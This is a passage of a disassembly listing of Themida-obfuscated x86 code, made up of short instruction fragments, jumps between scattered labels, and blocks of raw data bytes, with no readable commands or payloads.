dd 2BD4B850h, 0C131430Fh, 0E924048Bh, 0B78Ch, 8904EC83h
dd 2C812404h, 185F8B24h, 242C8B3Fh, 8104C483h, 185F8BC5h
dd 4A0EE93Fh, 5B5F0000h, 4F32E9h
db 0
; ---------------------------------------------------------------------------
loc_552EE1: ; CODE XREF: Themida_:005665D3j
and ecx, edx
jmp loc_558DE6
; ---------------------------------------------------------------------------
dd 0FFFD4BE9h, 0E9D889FFh, 0E66h, 0F8E9575Ch, 5900001Bh
dd 2B9768h, 24048900h, 8904EC83h, 0E389241Ch, 42E7E9h
db 0
; ---------------------------------------------------------------------------
loc_552F11: ; CODE XREF: Themida_:005598EFj
xor ebp, [esp]
pop esp
and eax, ebx
mov ebx, [esp]
jmp loc_556726
; ---------------------------------------------------------------------------
loc_552F1F: ; CODE XREF: Themida_:00553AEDj
mov eax, esp
push edx
mov edx, 25A1698Bh
sub edx, 0E8192Eh
shr edx, 1
or edx, 2FC16E07h
neg edx
neg edx
add edx, 0C02211D5h
add eax, edx
pop edx
sub eax, 4
push eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 4
add esi, 2F715DCCh
add esi, edi
sub esi, 2F715DCCh
pop edi
xchg esi, [esp]
pop esp
movzx eax, al
jmp loc_560C65
; ---------------------------------------------------------------------------
dd 5259CF01h, 571D14BAh, 7BC28134h, 1C2DD7Ch, 0B054E9D7h
dd 1C8B0000h, 4C48124h, 0C1000000h, 0EBC108EBh, 35F2E906h
dd 0D8F60000h, 0D0F60034h, 7B1E951h, 8B660000h, 74E92404h
dd 59000145h, 0C103E2C1h, 0EAC105E2h, 6F28107h, 0E97FBC65h
dd 14CBh, 5B5FFD89h, 34FFEB21h, 2B10E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552FDE: ; CODE XREF: Themida_:00558A4Bj
add esp, 4
pop esi
jmp loc_555FAE
; ---------------------------------------------------------------------------
db 0BBh
dd 0B4A63CBh, 0FF5BD801h, 1DE92434h, 8B000084h, 0C4812404h
dd 4, 1AF1BE56h, 0D9E9332Ch
db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55300B: ; CODE XREF: Themida_:00567E0Dj
mov esi, ebp
mov ebp, [esp]
add esp, 4
push edx
jmp loc_55907D
; ---------------------------------------------------------------------------
loc_55301C: ; CODE XREF: Themida_:0055A636j
add [esp+4], eax
jmp loc_561D1F
; ---------------------------------------------------------------------------
aUsp db 'UéP-',0
dw 2800h
dd 4EC81C3h, 89000000h, 0B4502414h, 58E28849h, 6F2AE9h
db 0
; ---------------------------------------------------------------------------
loc_553041: ; CODE XREF: Themida_:00552E01j
push esp
pop esi
push ecx
mov ecx, 4
add esi, ecx
pop ecx
push ebx
jmp loc_562AC0
; ---------------------------------------------------------------------------
dw 84BAh
dd 424B4338h, 1485EA81h, 4E9F4A5h, 830000BDh, 0C8904ECh
dd 0C186824h, 495909DAh, 1399FE9h, 14E95600h, 81000011h
dd 9376DCF1h, 59CA299Eh, 55AD089h, 7D4F745Dh, 48BC201h
dd 4C48124h, 0E9000000h, 3404h, 37B4FFB9h, 59CD3140h, 575DE829h
dd 0C781E789h, 4, 6B76856h, 0C15E6759h, 0B95108EEh, 0FF98A6FEh
dd 0E959CE01h, 1E99h, 9D1C77FFh, 1CD35966h, 61E99C24h
dd 54FFFFFBh, 2A7DE95Fh, 3C870001h, 53515C24h, 0C645E7BBh
dd 1DC38109h, 89F639BAh, 0CE015BD9h, 0C74DE9h, 2434FF00h
dd 0E789575Eh, 4C781h, 0C7810000h, 4, 0FFFFCDE9h, 4C181FFh
dd 52000000h, 2074E9h, 2406BB00h, 0DBF764EDh, 9026EB81h
dd 0D801544Eh, 83241C8Bh, 52E904C4h, 29000099h, 243C8BFBh
dd 1009FE9h, 62E95A00h
db 9Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553147: ; CODE XREF: Themida_:0055F8F7j
push 7BDA78CAh
jmp loc_557EFE
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 50000000h, 405E089h, 2D000000h, 4, 12287E9h, 81D10100h
dd 637C70E9h, 30D5E914h, 248B0000h, 241C8924h, 42474FFh
dd 24048F5Bh, 0E924248Bh, 60E5h, 0D486CCFEh, 0D486CAFEh
dd 5379EC80h, 88E68852h, 0DE885AF3h, 88DFE95Bh, 0C3300000h
dd 0E9C0B60Fh, 51CDh
; ---------------------------------------------------------------------------
loc_5531B0: ; CODE XREF: Themida_:0055A5D9j
mov esi, edx
mov edx, [esp]
add esp, 4
push esi
push esi
mov esi, 1A976DBBh
xchg edi, esi
not edi
jmp loc_5648D2
; ---------------------------------------------------------------------------
loc_5531C8: ; CODE XREF: Themida_:005624F2j
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5572DE
; ---------------------------------------------------------------------------
dw 5455h
dd 3068565Dh, 0E92E1123h, 11369h, 5134E981h, 0CE299760h
dd 814CE959h, 295C0000h, 241C8BD9h, 0C104C483h, 0C18106E1h
dd 0D17692B9h, 0CCE9C829h, 8300003Bh, 5E902C2h
db 95h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55321B: ; CODE XREF: Themida_:00559D38j
or ebx, 11EE25C5h
jmp loc_55B07B
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48324h, 4EC81h, 14890000h, 410E6824h, 0D1E90000h
dd 0FF0000A7h, 58042474h, 5A87E9h, 0DAF48000h, 3C4E9h
dd 24048900h, 2311E9h, 83E18900h, 48904ECh, 951CE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553266: ; CODE XREF: Themida_:0055C901j
pop eax
add esp, 4
jmp loc_5647B7
; ---------------------------------------------------------------------------
loc_553272: ; CODE XREF: Themida_:0055DCEAj
mov [esp], esi
xchg edx, [esp]
push edx
jmp loc_55AA14
; ---------------------------------------------------------------------------
dw 0B850h
dd 1ACC72CAh, 75940D48h, 0E92D1811h, 81EEE75Dh, 9C1049EBh
dd 81C3293Bh, 9C1049C3h, 0C381583Bh, 1AA535B6h, 1868E950h
dd 0EB800000h, 5BD88836h, 0E2C4D24h, 2234D524h, 5358C588h
dd 3876E9h
db 0
; ---------------------------------------------------------------------------
loc_5532C1: ; CODE XREF: Themida_:0055A510j
push ecx
push eax
jmp loc_5540C6
; ---------------------------------------------------------------------------
dd 240C8B66h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_560CD8
; ---------------------------------------------------------------------------
loc_5532D4: ; CODE XREF: Themida_:00553C4Aj
inc edi
jmp loc_5595BE
; ---------------------------------------------------------------------------
dw 0CF20h
dd 81240C8Bh, 4C4h, 80E7D000h, 0CAE998C7h, 310000C7h, 0E0C15BD8h
dd 4EC8306h, 0E9243C89h, 0DE03h, 15DEE29h, 0E3C681EEh
dd 5D0D090Ah, 4DE9F229h, 56000016h, 2F0E12BEh, 9DCE8131h
dd 8132114Eh, 0C0B165C6h, 5EF789CCh, 8B1FF52Dh, 611C0540h
dd 0F8014D7Bh, 611CBA52h, 51E94D7Bh, 8100010Ch, 4C4h, 8BC28900h
dd 89512404h, 4C181E1h, 83000000h, 0C8704C1h, 67DEE924h
dd 0EE830000h, 24348704h, 11E8FE9h, 0E9586600h, 0AF93h
; ---------------------------------------------------------------------------
loc_553370: ; CODE XREF: Themida_:00555CD9j
mov eax, [esp]
add esp, 4
jmp loc_55C6C1
; ---------------------------------------------------------------------------
db 50h
dd 11A5DE9h, 0E0EBBF00h, 0FB29E041h, 4B36E95Fh, 0E9810000h
dd 0B5B5400h, 81242C8Bh, 4C4h, 0B904E900h, 0C3810000h
dd 75766584h, 5ADEE9h, 16E95200h, 5A0000F1h, 0E991C780h
dd 2086h, 0D725FEB9h, 5FF9315Ch, 28BAC781h, 0C5E908EFh
dd 0E9000082h, 0FFFFF864h
; ---------------------------------------------------------------------------
loc_5533D4: ; CODE XREF: Themida_:00563533j
pop eax
jmp loc_56409E
; ---------------------------------------------------------------------------
loc_5533DA: ; CODE XREF: Themida_:00557303j
shl eax, 3
xchg eax, ebp
not ebp
jmp loc_559D1C
; ---------------------------------------------------------------------------
loc_5533E5: ; CODE XREF: Themida_:00563FC8j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
push edx
mov edx, 4
sub ebp, 2680F16h
add ebp, edx
push edx
mov edx, 2680F16h
add ebp, edx
pop edx
pop edx
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_55B85B
; ---------------------------------------------------------------------------
db 89h
dd 0DAE9240Ch, 0BA0000C5h, 17741790h, 8104E2C1h, 0F42B5E2h
dd 0FA1DE925h, 0C4830000h, 0F1E95104h, 8700005Dh, 80E9242Ch
dd 810000D9h, 4C4h, 4C58100h, 52000000h, 0C281E289h, 4
dd 14593E9h, 8DE98100h, 811C725Ch, 71E1B7F1h, 59C801F8h
dd 9EBA5256h, 0BE2DAD2Ah, 2DAD2AA0h, 8E39E9h, 80C30000h
dd 0C38003EBh, 22EB809Ch, 61B652h, 42F5E9F3h, 34FF0001h
dd 24048B24h, 4C481h, 0C4810000h, 4, 135EE9h
db 0
; ---------------------------------------------------------------------------
loc_5534B9: ; CODE XREF: Themida_:00552E5Dj
add dword ptr [esp], 4
jmp loc_5659E3
; ---------------------------------------------------------------------------
dw 0CB89h
dd 83240C8Bh, 34FF04C4h, 0E9505824h, 0B3E0h
; ---------------------------------------------------------------------------
loc_5534D4: ; CODE XREF: Themida_:0055B5AFj
push edx
mov edx, 4D6956B8h
push eax
mov eax, 7DF048DCh
and edx, eax
pop eax
and edx, 0DBB5888h
xor edx, 0AB437E8h
not edx
add edx, 1B3939A1h
jmp loc_5558FD
; ---------------------------------------------------------------------------
dd 68241489h, 145570C5h, 7155E9h
db 0
; ---------------------------------------------------------------------------
loc_553509: ; CODE XREF: Themida_:0055A234j
sub esi, edi
add esi, 5A5B0810h
jmp loc_559F4F
; ---------------------------------------------------------------------------
loc_553516: ; CODE XREF: Themida_:005566A8j
sub ebp, edi
add ebp, 1E6B5A51h
add ebp, 50611D7h
pop edi
mov edx, ebp
jmp loc_5557AD
; ---------------------------------------------------------------------------
dd 5066C2B3h, 0C32006B0h, 24048B66h, 8002C483h, 0E950AEC3h
dd 0B7D9h, 0BB28BB53h, 0D829B2EDh, 5DE9535Bh, 52000110h
dd 1A22E953h
db 1, 0
; ---------------------------------------------------------------------------
loc_55355A: ; CODE XREF: Themida_:005654B1j
push dword ptr [esp+4]
mov ebp, [esp]
jmp loc_5590A8
; ---------------------------------------------------------------------------
dw 0FE29h
dd 1B80E9h, 0D9354000h, 89D35A5Fh, 0D1F758C1h, 0A164E941h
dd 0E9500000h, 10D72h, 4C281h, 0C2810000h, 4, 0B35EE9h
dd 24048F00h, 241C895Ch, 2BBh, 0B3C28100h, 14DF641h, 0B3EA81DAh
dd 8B4DF641h, 0C483241Ch, 24143304h, 33241431h, 248B2414h
dd 2CD36624h, 0EFE99C24h
db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5535CB: ; CODE XREF: Themida_:0055C20Ej
shl edi, 1
sub edi, 0A81DED3Dh
jmp loc_55B41C
; ---------------------------------------------------------------------------
dd 8324048Bh, 0EA2904C4h, 27FC281h, 34FF78FAh, 73E95D24h
dd 0E900002Eh, 0FFFFF644h, 0E904C483h, 40A4h, 0D06FF505h
dd 68565238h, 736C7F56h, 6F1E9h, 24048900h, 0FFF623E9h
dd 84C380FFh, 0EB80E328h, 24048B84h, 0F04C483h, 34FFC0B6h
dd 4BBD6887h, 4890000h, 1982B824h, 44314242h, 0BEE90424h
db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55363F: ; CODE XREF: Themida_:005557E9j
mov ebp, edi
pop edi
jmp loc_555CF3
; ---------------------------------------------------------------------------
aBuageuhB db 'îag¥UhÍB',0
align 2
dw 0FAE9h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553657: ; CODE XREF: Themida_:005644EEj
push dword ptr [esp]
pop edx
push esi
mov esi, esp
jmp loc_561300
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 34FF0000h, 89535924h, 4C381E3h, 50000000h, 4B8h
dd 0FB85E900h, 4B80000h, 0E904ED1Fh, 31EFh, 8059595Ah
dd 0C3805EC3h, 51C300D8h, 0B75331B5h, 80EFD06Eh, 0FD20B3F7h
dd 2145E9h
db 0
; ---------------------------------------------------------------------------
loc_5536A9: ; CODE XREF: Themida_:005660E8j
mov esi, [esp]
jmp loc_55489E
; ---------------------------------------------------------------------------
db 87h, 0D3h, 0C1h
dd 0DBF703EBh, 11437E9h
db 0
; ---------------------------------------------------------------------------
loc_5536BD: ; CODE XREF: Themida_:00557770j
mov eax, edi
pop edi
not eax
and eax, 6FB4AE2h
shl eax, 4
jmp loc_5542ED
; ---------------------------------------------------------------------------
dd offset dword_4F0044+724h
align 4
dd 89241489h, 4BD55E2h, 50000000h, 734168h, 242C8900h
dd 214789BDh, 4CB1B856h, 0E8296A88h, 83242C8Bh, 574804C4h
dd 0A9FFE9h, 244C0100h, 34E0E904h, 9B2D0000h, 1FDF90Bh
dd 1110E9C3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553716: ; CODE XREF: Themida_:0055705Dj
mov [esp], ecx
sub esp, 4
push esp
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
pop esi
mov ecx, [esp]
jmp loc_567C43
; ---------------------------------------------------------------------------
db 28h
dd 0C3805BFDh, 81EB282Eh, 4ECh, 240C8900h, 0DAA8E9h
db 0
; ---------------------------------------------------------------------------
loc_553749: ; CODE XREF: Themida_:005553EDj
pop ebx
sub al, 94h
add al, bl
push 2704h
jmp loc_55F38F
; ---------------------------------------------------------------------------
loc_553758: ; CODE XREF: Themida_:0055ED62j
add ebx, 4
jmp loc_56472D
; ---------------------------------------------------------------------------
db 0B5h
dd 6ECD80C4h, 109068h, 24148900h, 0C2FE01B2h, 0A9E9DAF6h
dd 31000092h, 0E9C631F0h, 8975h
; ---------------------------------------------------------------------------
loc_553784: ; CODE XREF: Themida_:00553804j
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_554A63
; ---------------------------------------------------------------------------
dd 0E92434FFh, 37ADh, 4C5835Eh, 5C242C87h, 1AE9F381h, 65E91A62h
db 5Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5537AB: ; CODE XREF: Themida_:0055978Fj
sub ebp, esi
jmp loc_558D65
; ---------------------------------------------------------------------------
dw 0DBF7h
dd 0FFFFBD55h, 0EB29FFFFh, 4EC835Dh, 53242C89h, 9A4BBBBBh
dd 5BDD894Eh, 59C3CD81h, 0ED8152F4h, 0A0D6581h, 0E5C1EDD1h
dd 48BB5303h, 0E9594035h, 7D78h, 4C781h, 0C7810000h, 4
dd 5C243C87h, 9F24E9h
db 0
; ---------------------------------------------------------------------------
loc_5537FD: ; CODE XREF: Themida_:0056694Aj
pop ebx
add ebx, 4
jmp loc_553784
; ---------------------------------------------------------------------------
loc_553809: ; CODE XREF: Themida_:00554A10j
mov [esp], ebx
mov ebx, ecx
mov edx, ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5622A2
; ---------------------------------------------------------------------------
db 58h
dd 22F2E9h
db 0
; ---------------------------------------------------------------------------
loc_55382D: ; CODE XREF: Themida_:00564165j
add esp, 4
sub ebp, 2
jmp loc_563516
; ---------------------------------------------------------------------------
loc_55383E: ; CODE XREF: Themida_:00567E74j
mov ebp, 4
sub eax, 3F454636h
add eax, ebp
add eax, 3F454636h
mov ebp, [esp]
add esp, 4
push edx
jmp loc_560A5C
; ---------------------------------------------------------------------------
dw 0FF58h
dd 58E92434h, 0BE000135h, 3EC24008h, 87EE681h, 0DEF736A9h
dd 6C0AE681h, 0EE816C32h, 33F2639Ch, 8107EEC1h, 190E84E6h
dd 3175E90Ah, 34FF0001h, 0C3685824h, 8900004Bh, 58542404h
dd 405h, 146C6800h, 14890000h, 0DA685324h, 5B0AA724h, 0DB2AC381h
dd 0DA89F558h, 69A52D5Bh, 0EDE90931h
db 45h, 1, 0
; ---------------------------------------------------------------------------
loc_5538C3: ; CODE XREF: Themida_:00565CB6j
pop ebx
jmp loc_55FE59
; ---------------------------------------------------------------------------
loc_5538C9: ; CODE XREF: Themida_:0056734Bj
and edi, edx
jmp loc_566AE0
; ---------------------------------------------------------------------------
dd 8959CF89h, 0B0BFE9FAh, 0E5890000h, 4C581h, 0C5810000h
dd 4, 0E9242C87h, 538Eh
; ---------------------------------------------------------------------------
loc_5538F0: ; CODE XREF: Themida_:0055E451j
pop ebp
jmp loc_5552BD
; ---------------------------------------------------------------------------
dw 4E66h
dd 0D3C68166h, 0F1896667h, 95BDE95Eh, 5B540000h, 4BA5251h
dd 0E9000000h, 6257h
; ---------------------------------------------------------------------------
loc_553914: ; CODE XREF: Themida_:005629A0j
sub edi, 80F6E5Ah
add eax, edi
jmp loc_564512
; ---------------------------------------------------------------------------
loc_553921: ; CODE XREF: Themida_:005565ECj
push esi
push eax
mov eax, 57D0EE2h
jmp loc_556A1A
; ---------------------------------------------------------------------------
loc_55392D: ; CODE XREF: Themida_:005561B5j
push 50934714h
pop edi
jmp loc_564AD4
; ---------------------------------------------------------------------------
dd 53240489h, 0C381E389h, 4, 8704EB83h, 2E9241Ch, 810000B1h
dd 99A094EFh, 4EC8306h, 0BD242C89h, 180056D6h, 241CF755h
dd 83242C8Bh, 524504C4h, 5870A9BAh, 67E7E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553976: ; CODE XREF: Themida_:0056028Dj
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
pop esp
push edi
mov edi, 6F9D368Ch
add edi, 675D5986h
push esi
mov esi, 254E036Ch
push 2404h
mov [esp], edx
mov edx, 627A4549h
shl edx, 1
xor edx, 0F80D8682h
and esi, edx
mov edx, [esp]
add esp, 4
jmp loc_55F889
; ---------------------------------------------------------------------------
db 0BDh, 0EFh, 76h
dd 0AEBA55A5h, 317FFE18h, 0B3E95DEAh, 83FFFFF4h, 0C8904ECh
dd 2B924h, 0EB810000h, 131E0090h, 0C381CB01h, 131E0090h
dd 81240C8Bh, 4C4h, 241C3300h, 33241C31h, 9EE9241Ch
db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5539F7: ; CODE XREF: Themida_:0056465Ej
push edx
mov edx, 71F2618Ah
mov ebx, 74DB05C2h
xor ebx, edx
jmp loc_56355A
; ---------------------------------------------------------------------------
aYsz db 'YézÇ',0
dw 0C100h
dd 515205E7h, 0D5097DB9h, 26E98106h, 0C1057D7Ch, 0F18105E1h
dd 2D252D8Ah, 9E30C181h, 0CA896B7Fh, 592434FFh, 4C481h
dd 0DBE90000h, 0BD000110h, 63DA6262h, 4506EDC1h, 4AA4ED81h
dd 0E909D9E7h, 8E1C15Dh, 81FFC183h, 201205C1h, 8BCA0152h
dd 0C481240Ch, 4, 0D978E9h, 241C8900h, 7D8CE956h, 54530000h
dd 0DDBA525Bh, 812AFC74h, 0E74A43C2h, 0E9DAF726h, 0A31Eh
; ---------------------------------------------------------------------------
loc_553A8C: ; CODE XREF: Themida_:005610E2j
mov ebp, esp
jmp loc_558ABF
; ---------------------------------------------------------------------------
loc_553A93: ; CODE XREF: Themida_:005641E7j
add eax, ebx
add eax, 2A545529h
pop ebx
add eax, 4
xchg eax, [esp]
pop esp
and eax, ebx
pop ebx
shr eax, 0Eh
xor eax, ecx
push 2180h
mov [esp], eax
push 78F1h
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
push eax
jmp loc_56691D
; ---------------------------------------------------------------------------
loc_553AC9: ; CODE XREF: Themida_:005649E4j
pop ecx
jmp loc_562996
; ---------------------------------------------------------------------------
loc_553ACF: ; CODE XREF: Themida_:00565D23j
shr ebx, 4
push ecx
mov ecx, 0F9D1AEBh
and ebx, ecx
jmp loc_55CDCA
; ---------------------------------------------------------------------------
aISjn db '‰Îé†',0
align 2
loc_553AE6: ; CODE XREF: Themida_:00554ACFj
add esi, 4
push eax
jmp loc_552F1F
; ---------------------------------------------------------------------------
dw 0EE81h
dd 5924488Fh, 3892C681h, 5658134Ah, 42474FFh, 14F0E95Eh
dd 5D660000h, 8BD02966h, 0C4812414h, 4, 58C32966h, 96F6E9h
dd 4C78100h, 81000000h, 4C7h, 243C8700h, 10D1FE9h, 2DD00100h
dd 1CA3208Ch, 4BD555Ah, 0E9000000h, 8CBDh, 45E1EF81h, 0F7816E5Eh
dd 0DBC2306Ah, 476CE9h
db 0
; ---------------------------------------------------------------------------
loc_553B59: ; CODE XREF: Themida_:00560527j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
jmp loc_558EBC
; ---------------------------------------------------------------------------
loc_553B71: ; CODE XREF: Themida_:00554D3Bj
mov ebp, ebx
mov edx, ebp
pop ebp
pop ebx
jmp loc_560771
; ---------------------------------------------------------------------------
dd 81E38953h, 4C3h, 9B0AE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553B8A: ; CODE XREF: Themida_:0056463Fj
mov [esp], edx
jmp loc_55D9CD
; ---------------------------------------------------------------------------
loc_553B92: ; CODE XREF: Themida_:00553E3Ej
pop eax
pop dword ptr [esp]
mov esp, [esp]
movzx ecx, al
push 44B5h
jmp loc_565CBB
; ---------------------------------------------------------------------------
aIssvc db 'ˆè颿',0
db 0
; ---------------------------------------------------------------------------
loc_553BAD: ; CODE XREF: Themida_:00557C16j
mov eax, [esp]
jmp loc_557BC2
; ---------------------------------------------------------------------------
loc_553BB5: ; CODE XREF: Themida_:00564B74j
mov cl, al
pop eax
pop edx
sub esp, 4
mov [esp], ebx
mov bl, 8Ch
xor bl, 5Dh
xor bl, 0CBh
add bl, 0E2h
sub al, 0F5h
sub al, bl
add al, 0F5h
pop ebx
jmp loc_55BBE3
; ---------------------------------------------------------------------------
loc_553BD9: ; CODE XREF: Themida_:0055B5A0j
push 27E8h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 610Eh
mov [esp], ebx
mov ebx, 800000h
and eax, ebx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55DD38
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483243Ch, 2434FF04h, 4C4815Eh, 0E9000000h, 0FFFFF1E9h
dd 5724048Bh, 9C3EE9h
db 0
; ---------------------------------------------------------------------------
loc_553C2D: ; CODE XREF: Themida_:0055A2C2j
add edx, 0D77FEFF4h
add ebx, edx
jmp loc_561F2E
; ---------------------------------------------------------------------------
loc_553C3A: ; CODE XREF: Themida_:00555FA9j
sub ebx, ecx
pop ecx
add ebx, edi
push edi
mov edi, 3C58543Ch
shr edi, 1
shl edi, 3
jmp loc_5532D4
; ---------------------------------------------------------------------------
db 5Eh
dd 0CD89555Dh, 8B5DEA89h, 0C483240Ch, 0A02CE904h, 75BD0000h
dd 92B3F6Ah, 55525DE8h, 4C7E9h, 0FFE82000h, 0C8B2434h
dd 4C48124h, 0E9000000h, 8553h, 8245C29h, 83241C8Bh, 0E95A04C4h
dd 0FFFFEFA4h, 0C8B4E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553C9A: ; CODE XREF: Themida_:00561372j
add esi, 8B21F22h
xor ebp, esi
jmp loc_56718E
; ---------------------------------------------------------------------------
loc_553CA7: ; CODE XREF: Themida_:00558FDBj
inc ecx
xor ecx, 5533A502h
xor ecx, edi
pop edi
mov esi, ecx
pop ecx
jmp loc_5677D5
; ---------------------------------------------------------------------------
db 66h, 0FFh, 32h
dd 0FFEF77E9h, 4C483FFh, 31240C33h, 0C33240Ch, 0BD555C24h
dd 366C5DB3h, 304C6857h, 3C8B5DFEh, 4C48124h, 4F000000h
dd 644BF781h, 0F90156A5h, 0DBB535Fh, 81482059h, 745470EBh
dd 614DE9C9h, 815E0000h, 2E51ACF6h, 0E9F28917h, 3F47h
dd 0BB241C89h, 4, 1C8BD901h, 0FFA3E924h, 8159FFFFh, 0FFFFFFC1h
dd 81D1F7FFh, 15FE7E1h, 0E165E93Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553D32: ; CODE XREF: Themida_:0055559Fj
pop edi
add edi, eax
pop eax
or esi, edi
mov edi, [esp]
jmp loc_564375
; ---------------------------------------------------------------------------
dd 0FE01EA80h, 5BF280CAh, 8904EC83h, 69E9240Ch
db 2Dh, 1, 0
; ---------------------------------------------------------------------------
loc_553D53: ; CODE XREF: Themida_:0056024Bj
xor ebp, esi
jmp loc_562350
; ---------------------------------------------------------------------------
dw 0E95Bh
dd 1B3h
; ---------------------------------------------------------------------------
loc_553D60: ; CODE XREF: Themida_:0055EB64j
push ecx
mov ch, dh
jmp loc_5552DE
; ---------------------------------------------------------------------------
dd 3973CBEh, 0E9CE29DEh, 92ABh, 240C8B66h, 1426EE9h, 24248900h
dd 4240481h, 8F000000h, 4832404h, 815E0424h, 4ECh, 240C8900h
dd 7974EDB9h, 0A8B85026h, 2D2BEF44h, 5268B991h, 48BC101h
dd 4C48324h, 0F6E9CE01h, 0F7000034h, 4E1C1D1h, 1E981h
dd 55570000h, 0B5165568h, 242C8B5Ah, 0E904C483h, 5024h
dd 0B4CD815Bh, 8178AE13h, 0FF0104EDh, 0FFEF311Eh, 2C8B2434h
dd 4C48324h, 57E28952h, 941C99BFh, 8AEF812Ah, 812C536Ah
dd 0ED511ACFh, 1BEF811Ah, 1FEEDF3h, 0DCE95FFAh, 5D00011Fh
dd 11F3DE9h
db 0
; ---------------------------------------------------------------------------
loc_553E15: ; CODE XREF: Themida_:00557BD5j
mov esi, 0DD79F9h
xor edi, esi
pop esi
jmp loc_5652F9
; ---------------------------------------------------------------------------
loc_553E22: ; CODE XREF: Themida_:0055B3B3j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 36EDh
mov [esp], eax
push dword ptr [esp+4]
jmp loc_553B92
; ---------------------------------------------------------------------------
loc_553E43: ; CODE XREF: Themida_:00567A5Cj
mov [esp], edx
xor dword ptr [esp], 63A602C8h
mov esi, [esp]
add esp, 4
jmp loc_555215
; ---------------------------------------------------------------------------
db 53h
dd 6A761EBBh, 0E5F0E97Ch, 0DA310000h, 8BD0895Bh, 0F1E92414h
dd 81000116h, 950518EEh, 0E9F1290Ch, 13FFFh
; ---------------------------------------------------------------------------
loc_553E80: ; CODE XREF: Themida_:0055BD97j
mov ebp, [esp]
add esp, 4
xor eax, [esp]
jmp loc_55E0CA
; ---------------------------------------------------------------------------
db 45h, 0F7h, 0D5h
dd 3018ED81h, 0E8015DA2h, 42D5Dh, 40E90000h, 66000093h
dd 0E9240C8Bh, 0FFFFFBC6h, 0D089FA89h, 10623E9h
db 0
; ---------------------------------------------------------------------------
loc_553EB9: ; CODE XREF: Themida_:00559438j
push eax
push ecx
push 284702A7h
jmp loc_557398
; ---------------------------------------------------------------------------
loc_553EC5: ; CODE XREF: Themida_:00555231j
push dword ptr [esp+4]
pop ebp
jmp loc_5631FC
; ---------------------------------------------------------------------------
loc_553ECF: ; CODE XREF: Themida_:0055CAB6j
mov [esp], edi
mov edi, esp
add edi, 4
push esi
push ebx
mov ebx, 5C070500h
mov esi, 5C070504h
sub esi, ebx
jmp loc_55E200
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 104C483h, 0FF515FF9h, 59042474h, 5C24048Fh, 11D9BE9h
dd 0E3895300h, 4BA52h, 72E90000h, 100008Ch, 6EA3E9C6h
dd 565E0000h, 4BEh, 5FC58100h, 1487817h, 5FED81F5h, 0FF487817h
dd 505E2434h, 405E089h, 83000000h, 48704C0h, 2C875C24h
dd 83575C24h, 19E904ECh, 5100005Eh, 76E1B966h, 51F18166h
dd 0EA816647h, 0A0E90B0Eh, 89000092h, 62F8E9CDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553F6A: ; CODE XREF: Themida_:005649BEj
add ebp, edx
pop edx
xchg ebp, [esp]
pop esp
and eax, esi
jmp loc_559947
; ---------------------------------------------------------------------------
loc_553F78: ; CODE XREF: Themida_:00566329j
sub al, 46h
push ecx
mov cl, 0B0h
inc cl
sub cl, 95h
add cl, 0F7h
xor cl, 2
sub al, cl
pop ecx
add al, bl
push edx
mov dl, 11h
add al, dl
pop edx
add al, 46h
mov ebx, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 2
xchg ecx, [esp]
pop esp
jmp loc_55E6F3
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 4EC8304h, 0BF243C89h, 3B3B01B4h, 0C455E952h, 4BD0000h
dd 1000000h, 3C875DEFh, 0C4815C24h, 4, 4C481h, 0EC810000h
dd 4, 50243C89h, 0B5C1068h, 24048B41h, 0C27BE9h, 11F28100h
dd 89D1A7DFh, 43055AD0h, 818AD5FBh, 181BC0E9h, 0E9C1012Ch
dd 2248h, 4EC81h, 34890000h, 3E06BE24h, 0DEF73A7Ch, 0CAEE814Eh
dd 8124F808h, 7D4DA5CEh, 8AC1E908h, 81460000h, 82042FF6h
dd 7928E941h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554042: ; CODE XREF: Themida_:00565865j
pop esp
jmp loc_567F15
; ---------------------------------------------------------------------------
dd 668DED81h, 0EF090991h, 0E9D7F75Dh, 13ECCh
; ---------------------------------------------------------------------------
loc_554058: ; CODE XREF: Themida_:0055D0A8j
sub ebx, edi
pop edi
shl ebx, 1
add ebx, 25B4B7Bh
dec ebx
